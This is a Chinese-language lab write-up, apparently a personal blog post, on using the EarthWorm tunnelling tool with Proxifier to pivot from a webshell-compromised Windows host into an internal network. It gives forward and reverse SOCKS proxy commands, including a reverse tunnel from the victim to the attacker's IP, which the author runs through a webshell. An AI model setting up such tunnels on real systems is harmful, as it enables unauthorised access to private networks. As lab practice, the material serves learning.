EarthWorm结合proxifier的使用学习

拿下一个目标机器的web权限后，如何在本机就可以通过这台被拿下webshell的机器访问内网的其他主机的端口服务呢？

拿下一个shell后，想要访问这个shell主机的其他内网机器的服务，可以用earthworm作为一个流量转发，把ew对应的系统文件上传到这台有shell的主机进行正向或者反向的代理配置。使得攻击机可以通过这台有shell的主机在本地就可以访问目标内网其他机器

Earthworm是什么

网穿透神器 EarthWorm，(简称 EW) 是一套轻量便携且功能强大的网络穿透工具，基于标准 C 开发，具有 socks5 代理、端口转发和端口映射三大功能。
支持各种不同的系统环境

正向代理和反向代理用途的区别

• 正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。
• 反向代理的典型用途是将防火墙后面的服务器提供给Internet用户访问。

---

操作总结

• 正向代理操作
  攻击机通过webshell工具上传对应的ew文件 →利用webshell执行一个正向的监听Ew_for_Win.exe -s ssocksd -l 8002→利用Proxifier添加攻击机外网ip和接收流量的端口→攻击机可以访问webshell内网的其他机器端口

• 反向代理操作
  攻击机通过webshell工具上传对应的ew文件→本机执行一个 ew_for_Win.exe -s rcsocks -l 1080 -e 8888流量端口的转移→webshell执行Ew_for_Win.exe -s rssocks -d 攻击机IP -e 8888→Proxifier设置一个127.0.0.1和1080端的代理服务器→攻击机可以访问webshell内网的其他机器端口

---

环境配置

简单配置好一个内网环境 https://blog.csdn.net/weixin_41598660/article/details/106365740

为了方便实验用nat作一个外网，win7和win3设置为一个lan网段形成一个简单的内网
Win10为攻击机(192.168.10.1)， 靶机为win7(192.168.10.162，10.0.0.11)，win3（10.0.0.2）

Win10 ping不通win3内网

Win7和win3是同一个内网，能相互ping通，且win7能访问win3的内网web页面

实战模拟

• 正向代理操作

Win10拿下了win7的webshell，并上传 earthworm的window执行文件

虚拟一下终端！

执行命令！Ew_for_Win.exe -s ssocksd -l 8002

然后打开Proxifier工具，进行端口和SOCKS的配置

[05.30 23:43:38] WINWORD.EXE *64 - self.events.data.microsoft.com:443 打开通过代理 192.168.10.162:8002 SOCKS5

Chrome浏览器右击选择Proxifier代理打开页面。

然后在浏览器输入win3内网web的地址，发现，win10能访问了！

• 反向代理操作

因为已经拿下了win7的shell，也已经上传了earthworth的window文件。所以进行一下反向代理

Win10中 ew_for_Win.exe -s rcsocks -l 1080 -e 8888

PS D:\ew\ew-master> .\ew_for_Win.exe -s rcsocks -l 1080 -e 8888

把代理1080端口（也可以是其他端口）转移到8888端口

蚁剑中操作如下，让win7的发送一个反向代理的端口，对接到win10（192.168.10.1）

Ew_for_Win.exe -s rssocks -d 192.168.10.1 -e 8888

然后win10这边会有反应说ok

然后再对Proxifier进行本地接收端口的配置

尝试win10攻击机访问内网03的web页面！成功

在攻击机上对内网10.0.0.2机器进行一个远程的连接！成功